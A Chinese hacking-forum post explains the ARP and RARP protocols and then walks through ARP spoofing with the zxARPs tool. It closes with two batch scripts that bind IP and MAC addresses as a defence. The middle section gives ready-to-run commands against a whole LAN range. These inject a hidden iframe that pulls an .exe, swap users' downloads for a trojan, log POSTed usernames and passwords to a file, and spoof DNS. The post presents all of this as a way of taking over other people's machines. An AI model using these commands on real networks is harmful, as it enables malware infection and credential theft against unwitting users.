-
UID:159501
-
- 注册时间2008-09-04
- 最后登录2013-01-03
- 在线时间381小时
-
- 发帖1104
- 搜Ta的帖子
- 精华8
- 黑豆188
- 威望2944
- 贡献值2
- 交易币0
- 红豆8
-
访问TA的空间加好友用道具
- 发帖
- 1104
- 黑豆
- 188
- 威望
- 2944
- 贡献值
- 2
- 交易币
- 0
- 红豆
- 8
|
—
本帖被 海天 执行提前操作(2009-09-09)
—
今天给大家讲一下ARP的攻击与防御。首先要给大家说一下什么是ARP。ARP的英文全称(Address Resolution Protocol)中文释义(RFC-826)地址解析协议。简单地说,ARP协议主要负责将局域网中的32位IP地址转换为对应的48位物理地址(网卡的MAC地址)全球唯一,比如IP地址为192.168.0.1网卡MAC地址为00-03-0F-FD-1D-2B。整个转换过程是一台主机先向目标主机发送包含IP地址信息的广播数据包,即ARP请求,然后目标主机向该主机发送一个含有IP地址和MAC地址数据包,通过MAC地址两个主机就可以实现数据传输了。 应用:在安装了以太网网络适配器的计算机中都有专门的ARP缓存,包含一个或多个表,用于保存IP地址以及经过解析的MAC地址。在Windows中要查看或者修改ARP缓存中的信息,可以使用arp命令来完成,比如在Windows XP的命令提示符窗口中键入“arp -a”或“arp -g”可以查看ARP缓存中的内容;键入“arp -d IPaddress”表示删除指定的IP地址项(IPaddress表示IP地址)。arp命令的其他用法可以键入“arp /?”查看到,在这里就不多讲了。 为什么要通过ARP来解析IP地址呢?因为数据包是通过以太网发送的,以太网设备并不识别32位IP地址,它们是以48位以太网地址传输以太网数据包。因此,必须把IP目的地址转换成以太网目的地址。在以太网中,一个主机要和另一个主机进行直接通信,必须要知道目标主机的MAC地址。但这个目标MAC地址是如何获得的呢?它就是通过地址解析协议获得的。ARP协议用于将网络中的IP地址解析为的硬件地址(MAC地址),以保证通信的顺利进行。 ARP和RARP的报头结构:
硬件类型字段:指明了发送方想知道的硬件接口类型,通常以太网的值为1;
协议类型字段:指明了发送方提供的高层协议类型,IP为0800(16进制);
硬件地址长度和协议长度:指明了硬件地址和高层协议地址的长度,这样ARP报文就可以在任意硬件和任意协议的网络中使用;
操作字段:用来表示这个报文的类型,ARP请求为1,ARP响应为2,RARP请求为3,RARP响应为4; 发送方的硬件地址(0-3字节):源主机硬件地址的前3个字节;
发送方的硬件地址(4-5字节):源主机硬件地址的后3个字节;
发送方IP(0-1字节):源主机硬件地址的前2个字节;
发送方IP(2-3字节):源主机硬件地址的后2个字节;
目的硬件地址(0-1字节):目的主机硬件地址的前2个字节;
目的硬件地址(2-5字节):目的主机硬件地址的后4个字节;
目的IP(0-3字节):目的主机的IP地址。
2. ARP和RARP的工作原理
ARP的工作原理如下:
1. 首先,每台主机都会在自己的ARP缓冲区 (ARP Cache)中建立一个 ARP列表,以表示IP地址和MAC地址的对应关系。
2. 当源主机需要将一个数据包要发送到目的主机时,会首先检查自己 ARP列表中是否存在该 IP地址对应的MAC地址,如果有﹐就直接将数据包发送到这个MAC地址;如果没有,就向本地网段发起一个ARP请求的广播包,查询此目的主机对应的MAC地址。此ARP请求数据包里包括源主机的IP地址、硬件地址、以及目的主机的IP地址。
3. 网络中所有的主机收到这个ARP请求后,会检查数据包中的目的IP是否和自己的IP地址一致。如果不相同就忽略此数据包;如果相同,该主机首先将发送端的MAC地址和IP地址添加到自己的ARP列表中,如果ARP表中已经存在该IP的信息,则将其覆盖,然后给源主机发送一个 ARP响应数据包,告诉对方自己是它需要查找的MAC地址;
4. 源主机收到这个ARP响应数据包后,将得到的目的主机的IP地址和MAC地址添加到自己的ARP列表中,并利用此信息开始数据的传输。如果源主机一直没有收到ARP响应数据包,表示ARP查询失败。
RARP的工作原理:
1. 发送主机发送一个本地的RARP广播,在此广播包中,声明自己的MAC地址并且请求任何收到此请求的RARP服务器分配一个IP地址;
2. 本地网段上的RARP服务器收到此请求后,检查其RARP列表,查找该MAC地址对应的IP地址;
3. 如果存在,RARP服务器就给源主机发送一个响应数据包并将此IP地址提供给对方主机使用; 4. 如果不存在,RARP服务器对此不做任何的响应;
5. 源主机收到从RARP服务器的响应信息,就利用得到的IP地址进行通讯;如果一直没有收到RARP服务器的响应信息,表示初始化失败。
好了,以上是对ARP的一个详细介绍就说完了,现在我来简单的说一下ARP欺骗的原理,如果再把ARP欺骗的原理也讲的这么细的话,我们则可以再讲一节课了。 简单的说什么是ARP欺骗呢?比如果我是主机192.168.1.15我的MAC是00-1f-22-e0-cc-02,如果说我想欺骗的话,我就会在整个局域内发广播包说我是网关,我的IP是多少多少。然后局域网的机子就会接受广播包并更新自己的ARP缓存。 好了,ARP 讲完了,现在说一下我们的工具吧。zxARPs这个工具是LZX大侠写的。现在网上流传有很多ARP的挂马工具,全是在这个原理上改写的如果不信的话可以随边下载一个工具,然后看一下目录里准有一个和这个工具一样的程序用来做主程序。 这个工具由于是工作在物理层的,也就是最底层所以我们要安装WINPCAP驱动,来使自己的电脑支持这个工具,不然运行后是没有任何反应的。我们可以试一下。 安装完毕后,我们在CMD中输入zxARPs 来看一下他都是有什么功能吧。 这里只做对工具的简单介绍,并仔细说一下我们今天要用到的都是这个工具里的那些功能。这个我会给大家做详细的解说的。
0. Realtek RTL8139 IP Address. . . . . : 192.168.1.80 Physical Address. . : 00-E0-A0-17-7C-12 Default Gateway . . : 192.168.1.5 options: -idx [index] 网卡索引号 -ip [ip] 欺骗的IP,用'-'指定范围,','隔开 -sethost [ip] 默认是网关,可以指定别的IP -port [port] 关注的端口,用'-'指定范围,','隔开,没指定默认关注所有端口 -reset 恢复目标机的ARP表 -hostname 探测主机时获取主机名信息 -logfilter [string]设置保存数据的条件,必须+-_做前缀,后跟关键字, ','隔开关键字,多个条件'|'隔开 所有带+前缀的关键字都出现的包则写入文件 带-前缀的关键字出现的包不写入文件 带_前缀的关键字一个符合则写入文件(如有+-条件也要符合) -save_a [filename] 将捕捉到的数据写入文件 ACSII模式 -save_h [filename] HEX模式 -hacksite [ip] 指定要插入代码的站点域名或IP, 多个可用','隔开,没指定则影响所有站点 -insert [html code]指定要插入html代码 -postfix [string] 关注的后缀名,只关注HTTP/1.1 302 -hackURL [url] 发现关注的后缀名后修改URL到新的URL -filename [name] 新URL上有效的资源文件名 -hackdns [string] DNS欺骗,只修改UDP的报文,多个可用','隔开 格式: 域名|IP,www.aa.com|222.22.2.2,www.bb.com|1.1.1.1 -Interval [ms] 定时欺骗的时间间隔,默认是3秒 -spoofmode [1|2|3] 将数据骗发到本机,欺骗对象:1为网关,2为目标机,3为两者 -speed [kb] 限制指定的IP或IP段的网络总带宽,单位:KB zxarps Build 01/17/2007 By LZX. 从这里我们可以看到,他的功能非常的强大。好了我们现在开始一个一个为大家讲解吧。首先先一个命令idx 这个是网卡的索引,这个如何看呢? 在上面我们可以看到,我的网卡索引号为0 IP 和物理地址也都在这里显示了出来。所以说我们在这里写上0就可以了。 第二个IP这里的IP不是写自己的IP 局域网内受攻击者的IP。 第三个port 这个端口是指如果我们要攻击局域网内的80端口可以在这里进行指定。 第四个… … 好了,现在把我们在上面说的这些全部结合起来,发挥他真正的实力吧。 局域网肉鸡大餐。 命令:ZxARPs –idx 0 –ip 192.168.1.1-192.168.1.254 –port 80 –insert :< iframe src=http://www.baidu.com/mm.exe weith=0 heigth=0> 当在这个IP段的人访问外网的任何一个WEB页面时候都会嵌入<iframe…>代码。这样的话,局域网内的主机全是我们的了。 局域网,下载听我的。 命令:zxarps –idx 0 –ip 192.168.1.1-192.168.1.254 –spoofmode 3–postfix .exe,.rar,.zip –hackURL http:// www.xxx.com –filename software.exe 这条命命令的意思是说,这个IP段内的任何一台主机在下载后缀名为.exe.rar.zip的文件的时候,工具就会比他们更快一步的将数据包修改为我们指定的URL和程序来进下载。如果他没有注意下载下来的程序命令时候双击就会中了我们的木马。其中spoofmode是欺骗的模式。这里是双方都欺骗 局域网,你的帐号我来看。 命令:zxarps –idx 0 –ip 192.168.1.1-192.168.1.254 –port 80 –logfilter +POST,+username,+password –save_h file.txt 这条命令执行后会有什么效果呢。前面的不用说了大家也都猜到了。-logfilter是说如果在局域网内发送的数据包中含以在这个里面指定的关键字的话,就截取数据。并以hex也就是16进制的方式进行存储到同一目录下的file.txt文件中。到时候我们只需要看一下这个文件就可以了。 局域网,“请”你访问我的空间 命令:zxarps –idx 0 –ip 192.168.1.1-192.168.1.254 –hackdns www.baidu.com|221.232.23.21 这条命令的意思是说如果被攻击者的IP在访问www.baidu.com的时候,工具就会欺骗使他访问我们的指定的IP。如果那个IP是自己的空间的话也是可以的。 源代码: 注:以下程序(方法)可能带有攻击性,仅供安全研究与教学之用.风险自担,红色黑客联盟对由此造成的后果不负任何责任! <code> 漏洞修补方法:
现在以//开头的为我的解释
@echo off
//关闭命令回显
if exist ipconfig.txt del ipconfig.txt
//如果存在 ipconfig.txt 这个文件就对其进行删除
ipconfig /all >ipconfig.txt
//把 ipconfig /all 命令的显示结果写入 ipconfig.txt
if exist phyaddr.txt del phyaddr.txt
//如果存在 phyaddr.txt 这个文件就对其进行删除
find "Physical Address" ipconfig.txt >phyaddr.txt
//在 ipconfig.txt 文件里查找 Physical Address 字段的内容并将其字段内容写入 phyaddr.txt
for /f "skip=2 tokens=12" %%M in (phyaddr.txt) do set Mac=%%M
//在 phyaddr.txt 文件中从第一行象下跳两行,也就是从第三行开始,从第12个符号处取值,并把该值设置成 MAC 变量,举个例子:Physical Address. . . . . . . . . : 00-E0-FC-0C-A8-4F,每一个连续的数值为一个符号
符号1:Physical
符号2:Address.
符号3:.
符号4:.
符号5:.
符号6:.
符号7:.
符号8:.
符号9:.
符号10:.
符号11::
符号12:00-E0-FC-0C-A8-4F
tokens=12 的意思现在大家该明白了吧,但是说明一点,FOR 命令中的变量在批处理中是用 %%X 表示,但是在命令提示符 下输入却是用 %X 表示的,切记
if exist IPAddr.txt del IPaddr.txt
find "IP Address" ipconfig.txt >IPAddr.txt
for /f "skip=2 tokens=15" %%I in (IPAddr.txt) do set IP=%%I
arp -s %IP% %Mac%
//以上这些对照我前面的讲解很容易理解
del ipaddr.txt
del ipconfig.txt
del phyaddr.txt
exit
//这几句还看不懂的话就未免太``````
上面的脚本是绑定本机IP和MAC的。
下面的是绑定 网关IP和MAC的。
@echo OFF
if %~n0==arp exit
if %~n0==Arp exit
if %~n0==ARP exit
echo 正在获取本机信息.....
:IP
FOR /f "skip=13 tokens=15 usebackq " %%i in (`ipconfig /all`) do Set IP=%%i && GOTO MAC
:MAC
echo IP:%IP%
FOR /f "skip=13 tokens=12 usebackq " %%i in (`ipconfig /all`) do Set MAC=%%i && GOTO GateIP
:GateIP
echo MAC:%MAC%
arp -s %IP% %MAC%
echo 正在获取网关信息.....
FOR /f "skip=17 tokens=13 usebackq " %%i in (`ipconfig /all`) do Set GateIP=%%i && GOTO GateMac
:GateMac
echo IP:%GateIP%
FOR /f "skip=3 tokens=2 usebackq " %%i in (`arp -a %GateIP%`) do Set GateMAC=%%i && GOTO Start
:Start
echo MAC:%GateMAC%
arp -d
arp -s %GateIP% %GateMAC%
echo 操作完成!!!
exit
[ 此帖被恏貓芣阣渔在2008-12-01 19:54重新编辑 ]
|